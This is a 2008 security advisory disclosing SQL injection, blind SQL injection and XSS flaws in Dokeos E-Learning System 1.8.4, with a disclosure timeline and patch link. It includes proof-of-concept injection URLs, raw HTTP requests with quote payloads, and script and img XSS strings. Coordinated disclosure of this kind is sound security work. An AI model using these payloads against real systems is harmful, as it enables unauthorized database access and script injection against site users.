DSECRG-08-015.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-015  
  
  
Application: Dokeos E-Learning System   
Versions Affected: 1.8.4  
Vendor URL: http://dokeos.com  
Bugs: Multiple SQL Injections,Multiple Blind SQL Injections,Multiple XSS, etc.  
Exploits: YES  
Reported: 25.01.2008  
Vendor response: 28.01.2008  
Patch released: 12.02.2008   
Date of Public Advisory: 19.02.2008  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
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Dokeos E-Learning System system has multiple security vulnerabilities:  
  
1. Multiple SQL Injections  
2. Multiple Blind Sql Injections  
3. Multiple Stored XSS  
4. Multiple Linked XSS  
5. Image XSS  
  
Details  
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1. Multiple SQL Injections  
  
1.1 Attacker can inject SQL code in module /whoisonline.php vulnerable parametr id   
Attacker must have valid user creditionals   
  
  
Example:  
http://[server]/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+union+select+user(),version()/*  
  
  
1.2 Attacker can inject SQL code in module main/mySpace/index.php vulnerable parameter tracking_list_coaches_column  
  
  
  
  
  
Example:  
  
http://[server]/[installdir]/main/mySpace/index.php?tracking_list_coaches_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_per_page=20&view=admin  
&tracking_list_coaches_column=0';  
  
1.3 Attacker can inject SQL code in module /dokeos/main/create_course/add_course.php POST Parameter tutor_name  
  
  
Example:  
  
POST /dokeos/main/create_course/add_course.php HTTP/1.0  
Cookie: dk_sid=av68g9lus300ts870iqebhneh5  
Content-Length: 107  
Accept: */*  
Accept-Language: en-US  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
Host: localhost  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/dokeos/main/create_course/add_course.php  
  
title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian&_qf__add_course=&  
tutor_name='  
  
  
  
---------------------------------------------------------------------  
  
  
2. Multiple SQL Injections  
  
2.1 Vulnerability found in script index.php in header parameter "Referer"  
  
  
Example:  
  
GET /dokeos/index.php HTTP/1.0  
Cookie: dk_sid=av68g9lus300ts870iqebhneh5  
Accept: */*  
Accept-Language: en-US  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)  
Host: localhost  
Referer: '  
  
2.1 Vulnerability found in script /main/admin/class_list.php? in header parameter "X-Fowarded-For"  
  
  
  
---------------------------------------------------------------------  
  
  
  
  
3. Stored XSS vulnerability found in /main/auth/inscription.php attacker can inject XSS in POST parameter username   
  
  
---------------------------------------------------------------------  
  
4. Multiple linked XSS  
  
  
4.1 Linked XSS vulnerability found in dokeos/main/calendar/myagenda.php attacker can inject XSS in parameter courseCode   
  
  
Example:  
  
http://[server]/[installdir]/main/calendar/myagenda.php?courseCode="><script>alert('DSecRG XSS')</script>  
  
  
  
4.2 Linked XSS vulnerability found in main/admin/course_category.php attacker can inject XSS in parameter category  
  
Example:  
  
http://[server]/[installdir]/dokeos/main/admin/course_category.php?category=<script>alert('DSecRG XSS')</script> HTTP/1.0  
  
  
  
4.3 Linked XSS vulnerability found in /dokeos/main/admin/session_list.php attacker can inject XSS in parameter cmessage   
  
  
Example:  
  
http://[server]/[installdir]/dokeos/main/admin/session_list.php?action=show_message&message=>%22%27><img/src=javascript:alert('DSecRG XSS')>  
  
---------------------------------------------------------------------  
  
  
5. Image XSS vulnerability in page main/auth/profile.php attacker can upload avatar picture with XSS code:  
  
  
Example:  
  
More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)  
  
---------------------------------------------------------------------  
  
Fix Information  
***************  
  
Vendor fix this flaw on 12.02.2008. Patch for version 1.8.4 can be downloaded here:  
  
http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.4_SP2_download  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
  
  
  
Digital Security Research Group mailto:[email protected]  
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